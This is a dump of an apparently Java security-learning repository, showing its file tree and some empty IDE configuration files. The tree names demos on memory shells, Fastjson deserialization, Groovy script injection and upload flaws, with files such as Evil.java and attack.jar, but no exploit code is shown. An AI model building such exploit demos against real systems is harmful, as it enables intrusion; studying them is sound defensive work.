├── .idea ├── .gitignore ├── LearnDemo.iml ├── artifacts │ ├── MemShellDemo_war.xml │ ├── MemShellDemo_war_exploded.xml │ ├── UploadDemo_war.xml │ └── UploadDemo_war_exploded.xml ├── compiler.xml ├── encodings.xml ├── inspectionProfiles │ └── Project_Default.xml ├── jarRepositories.xml ├── libraries │ ├── Maven__antlr_antlr_2_7_7.xml │ ├── Maven__ch_qos_logback_logback_classic_1_2_7.xml │ ├── Maven__ch_qos_logback_logback_core_1_2_7.xml │ ├── Maven__com_alibaba_fastjson_1_2_24.xml │ ├── Maven__com_alibaba_fastjson_1_2_83.xml │ ├── Maven__com_beust_jcommander_1_78.xml │ ├── Maven__com_fasterxml_classmate_1_5_1.xml │ ├── Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_0.xml │ ├── Maven__com_fasterxml_jackson_core_jackson_core_2_13_0.xml │ ├── Maven__com_fasterxml_jackson_core_jackson_databind_2_13_0.xml │ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_13_0.xml │ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_13_0.xml │ ├── Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_13_0.xml │ ├── Maven__com_fasterxml_uuid_java_uuid_generator_3_1_4.xml │ ├── Maven__com_github_javaparser_javaparser_core_3_24_2.xml │ ├── Maven__com_h2database_h2_1_4_200.xml │ ├── Maven__com_sun_activation_jakarta_activation_1_2_2.xml │ ├── Maven__com_sun_istack_istack_commons_runtime_3_0_12.xml │ ├── Maven__com_sun_mail_javax_mail_1_5_6.xml │ ├── Maven__com_thoughtworks_qdox_qdox_1_12_1.xml │ ├── Maven__com_zaxxer_HikariCP_4_0_3.xml │ ├── Maven__commons_fileupload_commons_fileupload_1_3_3.xml │ ├── Maven__commons_io_commons_io_2_2.xml │ ├── Maven__commons_io_commons_io_2_6.xml │ ├── Maven__de_odysseus_juel_juel_api_2_2_7.xml │ ├── Maven__de_odysseus_juel_juel_impl_2_2_7.xml │ ├── Maven__de_odysseus_juel_juel_spi_2_2_7.xml │ ├── Maven__info_picocli_picocli_4_6_3.xml │ ├── Maven__jakarta_annotation_jakarta_annotation_api_1_3_5.xml │ ├── Maven__jakarta_persistence_jakarta_persistence_api_2_2_3.xml │ ├── Maven__jakarta_transaction_jakarta_transaction_api_1_3_3.xml │ ├── Maven__jakarta_xml_bind_jakarta_xml_bind_api_2_3_3.xml │ ├── Maven__javax_activation_activation_1_1.xml │ ├── Maven__javax_el_el_api_2_2.xml │ ├── Maven__javax_json_javax_json_api_1_0.xml │ ├── Maven__jline_jline_2_14_6.xml │ ├── Maven__joda_time_joda_time_2_10_5.xml │ ├── Maven__junit_junit_4_11.xml │ ├── Maven__junit_junit_4_13_2.xml │ ├── Maven__net_bytebuddy_byte_buddy_1_11_22.xml │ ├── Maven__org_activiti_activiti_api_process_runtime_impl_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_api_runtime_shared_impl_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_api_task_runtime_impl_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_bpmn_converter_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_bpmn_model_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_engine_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_process_validation_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_spring_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_spring_app_process_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_spring_boot_starter_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_spring_process_extensions_7_1_0_M5.xml │ ├── Maven__org_activiti_activiti_spring_resource_loader_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_model_shared_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_model_shared_impl_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_process_model_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_process_model_impl_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_process_runtime_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_runtime_shared_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_task_model_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_task_model_impl_7_1_0_M5.xml │ ├── Maven__org_activiti_api_activiti_api_task_runtime_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_common_util_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_connector_model_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_project_model_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_spring_application_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_spring_connector_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_spring_identity_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_spring_project_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_spring_resource_finder_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_spring_security_7_1_0_M5.xml │ ├── Maven__org_activiti_core_common_activiti_spring_security_policies_7_1_0_M5.xml │ ├── Maven__org_apache_ant_ant_1_10_12.xml │ ├── Maven__org_apache_ant_ant_antlr_1_10_12.xml │ ├── Maven__org_apache_ant_ant_junit_1_10_12.xml │ ├── Maven__org_apache_ant_ant_launcher_1_10_12.xml │ ├── Maven__org_apache_commons_commons_email_1_5.xml │ ├── Maven__org_apache_commons_commons_lang3_3_12_0.xml │ ├── Maven__org_apache_logging_log4j_log4j_api_2_14_1.xml │ ├── Maven__org_apache_logging_log4j_log4j_to_slf4j_2_14_1.xml │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_core_9_0_55.xml │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_el_9_0_55.xml │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_websocket_9_0_55.xml │ ├── Maven__org_apache_tomcat_tomcat_annotations_api_9_0_55.xml │ ├── Maven__org_aspectj_aspectjtools_1_9_7.xml │ ├── Maven__org_aspectj_aspectjweaver_1_9_7.xml │ ├── Maven__org_codehaus_groovy_groovy_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_ant_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_astbuilder_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_cli_picocli_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_console_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_datetime_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_docgenerator_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_groovydoc_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_groovysh_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_jmx_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_json_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_jsr223_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_macro_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_nio_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_servlet_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_sql_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_swing_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_templates_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_test_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_test_junit5_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_testng_3_0_12.xml │ ├── Maven__org_codehaus_groovy_groovy_xml_3_0_12.xml │ ├── Maven__org_glassfish_jaxb_jaxb_runtime_2_3_5.xml │ ├── Maven__org_glassfish_jaxb_txw2_2_3_5.xml │ ├── Maven__org_hamcrest_hamcrest_core_1_3.xml │ ├── Maven__org_hibernate_common_hibernate_commons_annotations_5_1_2_Final.xml │ ├── Maven__org_hibernate_hibernate_core_5_6_1_Final.xml │ ├── Maven__org_javadelight_delight_nashorn_sandbox_0_2_5.xml │ ├── Maven__org_jboss_jandex_2_2_3_Final.xml │ ├── Maven__org_jboss_logging_jboss_logging_3_4_2_Final.xml │ ├── Maven__org_junit_jupiter_junit_jupiter_api_5_8_2.xml │ ├── Maven__org_junit_jupiter_junit_jupiter_engine_5_8_2.xml │ ├── Maven__org_junit_platform_junit_platform_commons_1_8_2.xml │ ├── Maven__org_junit_platform_junit_platform_engine_1_8_2.xml │ ├── Maven__org_junit_platform_junit_platform_launcher_1_8_2.xml │ ├── Maven__org_mybatis_mybatis_3_5_0.xml │ ├── Maven__org_opentest4j_opentest4j_1_2_0.xml │ ├── Maven__org_projectlombok_lombok_1_18_24.xml │ ├── Maven__org_slf4j_jcl_over_slf4j_1_7_32.xml │ ├── Maven__org_slf4j_jul_to_slf4j_1_7_32.xml │ ├── Maven__org_slf4j_slf4j_api_1_7_25.xml │ ├── Maven__org_slf4j_slf4j_api_1_7_32.xml │ ├── Maven__org_springframework_boot_spring_boot_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_actuator_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_actuator_autoconfigure_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_autoconfigure_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_aop_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_data_jpa_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_jdbc_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_json_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_logging_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_security_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_tomcat_2_6_0.xml │ ├── Maven__org_springframework_boot_spring_boot_starter_web_2_6_0.xml │ ├── Maven__org_springframework_data_spring_data_commons_2_6_0.xml │ ├── Maven__org_springframework_data_spring_data_jpa_2_6_0.xml │ ├── Maven__org_springframework_security_spring_security_config_5_6_0.xml │ ├── Maven__org_springframework_security_spring_security_core_5_6_0.xml │ ├── Maven__org_springframework_security_spring_security_crypto_5_6_0.xml │ ├── Maven__org_springframework_security_spring_security_web_5_6_0.xml │ ├── Maven__org_springframework_spring_aop_5_3_13.xml │ ├── Maven__org_springframework_spring_aspects_5_3_13.xml │ ├── Maven__org_springframework_spring_beans_5_3_13.xml │ ├── Maven__org_springframework_spring_context_5_3_13.xml │ ├── Maven__org_springframework_spring_core_5_3_13.xml │ ├── Maven__org_springframework_spring_expression_5_3_13.xml │ ├── Maven__org_springframework_spring_jcl_5_3_13.xml │ ├── Maven__org_springframework_spring_jdbc_5_3_13.xml │ ├── Maven__org_springframework_spring_orm_5_3_13.xml │ ├── Maven__org_springframework_spring_tx_5_3_13.xml │ ├── Maven__org_springframework_spring_web_5_3_13.xml │ ├── Maven__org_springframework_spring_webmvc_5_3_13.xml │ ├── Maven__org_testng_testng_7_5.xml │ ├── Maven__org_webjars_bower_js_beautify_1_9_0.xml │ ├── Maven__org_webjars_jquery_3_5_1.xml │ ├── Maven__org_yaml_snakeyaml_1_29.xml │ ├── Spring_5_2_3_RELEASE.xml │ └── lib.xml ├── misc.xml ├── modules.xml ├── uiDesigner.xml ├── vcs.xml └── workspace.xml ├── ActivitiDemo └── ActivitiScriptDemo │ ├── .idea │ ├── compiler.xml │ ├── encodings.xml │ ├── inspectionProfiles │ │ └── Project_Default.xml │ ├── jarRepositories.xml │ ├── misc.xml │ ├── shelf │ │ ├── Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes] │ │ │ ├── Applicant.class │ │ │ ├── ApplicantRepository.class │ │ │ ├── HireProcessRestController.class │ │ │ ├── LookUpTest.class │ │ │ ├── MyApp.class │ │ │ ├── ResumeService.class │ │ │ ├── WebSecurityConfig.class │ │ │ └── shelved.patch │ │ └── Uncommitted_changes_before_Checkout_at_2022_5_11_20_07__Changes_.xml │ ├── vcs.xml │ └── workspace.xml │ ├── ActivitiScriptDemo.iml │ ├── pom.xml │ ├── src │ └── main │ │ ├── java │ │ └── org │ │ │ └── activiti │ │ │ ├── Applicant.java │ │ │ ├── ApplicantRepository.java │ │ │ ├── HireProcessRestController.java │ │ │ ├── LookUpTest.java │ │ │ ├── MyApp.java │ │ │ ├── ResumeService.java │ │ │ └── WebSecurityConfig.java │ │ └── resources │ │ ├── application.yml │ │ └── processes │ │ ├── Developer_Hiring_with_ServiceTask.bpmn20.xml │ │ ├── Developer_Hiring_with_TaskListener.bpmn20.xml │ │ ├── Developer_Hiring_with_executionListener.bpmn20.xml │ │ ├── Developer_Hiring_with_expression.bpmn20.xml │ │ └── Developer_Hiring_with_scriptTask.bpmn20.xml │ └── target │ └── classes │ ├── application.yml │ ├── org │ └── activiti │ │ ├── Applicant.class │ │ ├── ApplicantRepository.class │ │ ├── HireProcessRestController.class │ │ ├── LookUpTest.class │ │ ├── MyApp.class │ │ ├── ResumeService.class │ │ └── WebSecurityConfig.class │ └── processes │ ├── Developer_Hiring_with_ServiceTask.bpmn20.xml │ ├── Developer_Hiring_with_TaskListener.bpmn20.xml │ ├── Developer_Hiring_with_executionListener.bpmn20.xml │ ├── Developer_Hiring_with_expression.bpmn20.xml │ └── Developer_Hiring_with_scriptTask.bpmn20.xml ├── FastJson ├── FastjsonVulns-main │ ├── .gitignore │ ├── .idea │ │ ├── encodings.xml │ │ ├── misc.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ ├── README.md │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ ├── Evil.class │ │ ├── Evil.java │ │ ├── Person.java │ │ ├── TestMiscCode.java │ │ ├── aspectj.java │ │ ├── groovy.java │ │ └── groovy_copy.java ├── attack │ ├── .idea │ │ ├── .gitignore │ │ ├── artifacts │ │ │ └── attack_jar.xml │ │ ├── compiler.xml │ │ ├── inspectionProfiles │ │ │ └── Project_Default.xml │ │ ├── jarRepositories.xml │ │ └── misc.xml │ ├── out │ │ └── artifacts │ │ │ └── attack_jar │ │ │ └── attack.jar │ ├── pom.xml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── groovy │ │ │ │ └── grape │ │ │ │ └── GrabAnnotationTransformation2.java │ │ │ └── resources │ │ │ └── META-INF │ │ │ └── services │ │ │ └── org.codehaus.groovy.transform.ASTTransformation │ └── target │ │ ├── attack-1.jar │ │ ├── classes │ │ ├── META-INF │ │ │ └── services │ │ │ │ └── org.codehaus.groovy.transform.ASTTransformation │ │ └── groovy │ │ │ └── grape │ │ │ └── GrabAnnotationTransformation2.class │ │ ├── maven-archiver │ │ └── pom.properties │ │ └── maven-status │ │ └── maven-compiler-plugin │ │ └── compile │ │ └── default-compile │ │ ├── createdFiles.lst │ │ └── inputFiles.lst └── rce │ └── attack.jar ├── MemShellDemo ├── MemShellDemo.iml ├── pom.xml ├── src │ └── main │ │ ├── java │ │ └── com │ │ │ └── my │ │ │ └── test │ │ │ ├── TestFilter.java │ │ │ ├── TestFilter1.java │ │ │ ├── TestHttpServelet.java │ │ │ ├── TestListener.java │ │ │ └── testServlet.java │ │ └── webapp │ │ ├── WEB-INF │ │ └── web.xml │ │ ├── index.jsp │ │ ├── testFilter.jsp │ │ └── testls.jsp └── target │ ├── MemShellDemo │ ├── META-INF │ │ └── MANIFEST.MF │ ├── WEB-INF │ │ ├── classes │ │ │ └── com │ │ │ │ └── my │ │ │ │ └── test │ │ │ │ ├── TestFilter.class │ │ │ │ ├── TestFilter1.class │ │ │ │ ├── TestHttpServelet.class │ │ │ │ ├── TestListener.class │ │ │ │ └── testServlet.class │ │ ├── lib │ │ │ ├── spring-aop-5.3.13.jar │ │ │ ├── spring-beans-5.3.13.jar │ │ │ ├── spring-context-5.3.13.jar │ │ │ ├── spring-core-5.3.13.jar │ │ │ ├── spring-expression-5.3.13.jar │ │ │ ├── spring-jcl-5.3.13.jar │ │ │ ├── spring-web-5.3.13.jar │ │ │ ├── spring-webmvc-5.3.13.jar │ │ │ ├── tomcat-annotations-api-9.0.55.jar │ │ │ └── tomcat-embed-core-9.0.55.jar │ │ └── web.xml │ ├── index.jsp │ ├── testFilter.jsp │ └── testls.jsp │ └── classes │ └── com │ └── my │ └── test │ ├── TestFilter.class │ ├── TestFilter1.class │ ├── TestHttpServelet.class │ ├── TestListener.class │ └── testServlet.class ├── MySerialDemo └── MySerialDemo │ ├── MySerialDemo.iml │ ├── pom.xml │ ├── src │ └── main │ │ └── java │ │ ├── Evil.java │ │ ├── MySerialDemo.java │ │ ├── TestUser.java │ │ ├── User.java │ │ └── UserFastJson.java │ └── target │ └── classes │ ├── Evil.class │ ├── MySerialDemo.class │ ├── TestUser.class │ ├── User.class │ └── UserFastJson.class ├── README.md ├── ReSerial └── src │ ├── main │ ├── java │ │ ├── com │ │ │ └── example │ │ │ │ └── reserial │ │ │ │ ├── ReSerialApplication.java │ │ │ │ ├── aspectjweaver.java │ │ │ │ └── controller │ │ │ │ └── IndexController.java │ │ ├── test │ │ │ ├── DNSTest.java │ │ │ ├── Person.java │ │ │ └── SerializableTest.java │ │ └── transform │ │ │ ├── MyTransformer.java │ │ │ └── TransformerTest.java │ └── resources │ │ └── application.properties │ └── test │ └── java │ └── com │ └── example │ └── reserial │ └── ReSerialApplicationTests.java ├── ScriptEngineDemo ├── ScriptEngineDemo.iml ├── pom.xml ├── src │ └── main │ │ └── java │ │ ├── FirstJavaScript.java │ │ └── FirstJavaScriptJS.java └── target │ └── classes │ ├── FirstJavaScript.class │ └── FirstJavaScriptJS.class ├── ThymeleafDemo ├── .idea │ ├── .gitignore │ ├── compiler.xml │ ├── encodings.xml │ ├── inspectionProfiles │ │ └── Project_Default.xml │ ├── jarRepositories.xml │ ├── misc.xml │ ├── uiDesigner.xml │ └── vcs.xml ├── pom.xml ├── src │ └── main │ │ ├── java │ │ └── com │ │ │ └── my │ │ │ ├── DemoApplication.java │ │ │ └── controller │ │ │ └── IndexController.java │ │ └── resources │ │ ├── application.yml │ │ └── templates │ │ ├── hello.html │ │ └── index.html └── target │ └── classes │ ├── application.yml │ ├── com │ └── my │ │ ├── DemoApplication.class │ │ └── controller │ │ └── IndexController.class │ └── templates │ ├── hello.html │ └── index.html ├── UploadDemo ├── UploadDemo.iml ├── lib │ ├── aopalliance-1.0.jar │ ├── commons-logging-1.2.jar │ ├── spring-aop-5.2.3.RELEASE.jar │ ├── spring-aspects-5.2.3.RELEASE.jar │ ├── spring-beans-5.2.3.RELEASE.jar │ ├── spring-context-5.2.3.RELEASE.jar │ ├── spring-context-support-5.2.3.RELEASE.jar │ ├── spring-core-5.2.3.RELEASE.jar │ ├── spring-expression-5.2.3.RELEASE.jar │ ├── spring-instrument-5.2.3.RELEASE.jar │ ├── spring-jdbc-5.2.3.RELEASE.jar │ ├── spring-jms-5.2.3.RELEASE.jar │ ├── spring-messaging-5.2.3.RELEASE.jar │ ├── spring-orm-5.2.3.RELEASE.jar │ ├── spring-oxm-5.2.3.RELEASE.jar │ ├── spring-test-5.2.3.RELEASE.jar │ └── spring-tx-5.2.3.RELEASE.jar ├── pom.xml ├── src │ └── main │ │ ├── java │ │ └── com │ │ │ └── my │ │ │ └── upload │ │ │ ├── crontroller │ │ │ └── fileCrotroller.java │ │ │ └── service │ │ │ └── fileService.java │ │ ├── resources │ │ └── springmvc.xml │ │ └── webapp │ │ ├── WEB-INF │ │ ├── pages │ │ │ └── success.jsp │ │ └── web.xml │ │ └── index.jsp └── target │ ├── UploadDemo.war │ ├── UploadDemo │ ├── META-INF │ │ └── MANIFEST.MF │ ├── WEB-INF │ │ ├── classes │ │ │ ├── com │ │ │ │ └── my │ │ │ │ │ └── upload │ │ │ │ │ ├── crontroller │ │ │ │ │ └── fileCrotroller.class │ │ │ │ │ └── service │ │ │ │ │ └── fileService.class │ │ │ └── springmvc.xml │ │ ├── lib │ │ │ ├── commons-fileupload-1.3.3.jar │ │ │ ├── commons-io-2.2.jar │ │ │ ├── spring-aop-5.3.13.jar │ │ │ ├── spring-beans-5.3.13.jar │ │ │ ├── spring-context-5.3.13.jar │ │ │ ├── spring-core-5.3.13.jar │ │ │ ├── spring-expression-5.3.13.jar │ │ │ ├── spring-jcl-5.3.13.jar │ │ │ ├── spring-web-5.3.13.jar │ │ │ ├── spring-webmvc-5.3.13.jar │ │ │ ├── tomcat-annotations-api-9.0.55.jar │ │ │ └── tomcat-embed-core-9.0.55.jar │ │ ├── pages │ │ │ └── success.jsp │ │ └── web.xml │ └── index.jsp │ └── classes │ ├── com │ └── my │ │ └── upload │ │ ├── crontroller │ │ └── fileCrotroller.class │ │ └── service │ │ └── fileService.class │ └── springmvc.xml ├── express └── jexl │ └── JxelDemo │ ├── .idea │ ├── .gitignore │ ├── compiler.xml │ ├── encodings.xml │ ├── jarRepositories.xml │ ├── misc.xml │ └── vcs.xml │ ├── pom.xml │ ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── DateUtils.java │ │ └── Main.java │ └── target │ └── classes │ └── org │ └── example │ ├── DateUtils.class │ └── Main.class ├── img.png ├── img_1.png └── img_2.png /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/LearnDemo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/artifacts/MemShellDemo_war.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/MemShellDemo/target 4 | 5 | 6 | MemShellDemo 7 | war 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/artifacts/UploadDemo_war.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/UploadDemo/target 4 | 5 | 6 | UploadDemo 7 | war 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | 24 | 25 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__antlr_antlr_2_7_7.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__ch_qos_logback_logback_classic_1_2_7.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__ch_qos_logback_logback_core_1_2_7.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_alibaba_fastjson_1_2_24.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_alibaba_fastjson_1_2_83.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_beust_jcommander_1_78.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_classmate_1_5_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_13_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_13_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_13_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_13_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_13_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_fasterxml_uuid_java_uuid_generator_3_1_4.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_github_javaparser_javaparser_core_3_24_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_h2database_h2_1_4_200.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_sun_activation_jakarta_activation_1_2_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_sun_istack_istack_commons_runtime_3_0_12.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_sun_mail_javax_mail_1_5_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_thoughtworks_qdox_qdox_1_12_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_zaxxer_HikariCP_4_0_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_fileupload_commons_fileupload_1_3_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_io_commons_io_2_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_io_commons_io_2_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__de_odysseus_juel_juel_api_2_2_7.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__de_odysseus_juel_juel_impl_2_2_7.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__de_odysseus_juel_juel_spi_2_2_7.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__info_picocli_picocli_4_6_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__jakarta_annotation_jakarta_annotation_api_1_3_5.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__jakarta_persistence_jakarta_persistence_api_2_2_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 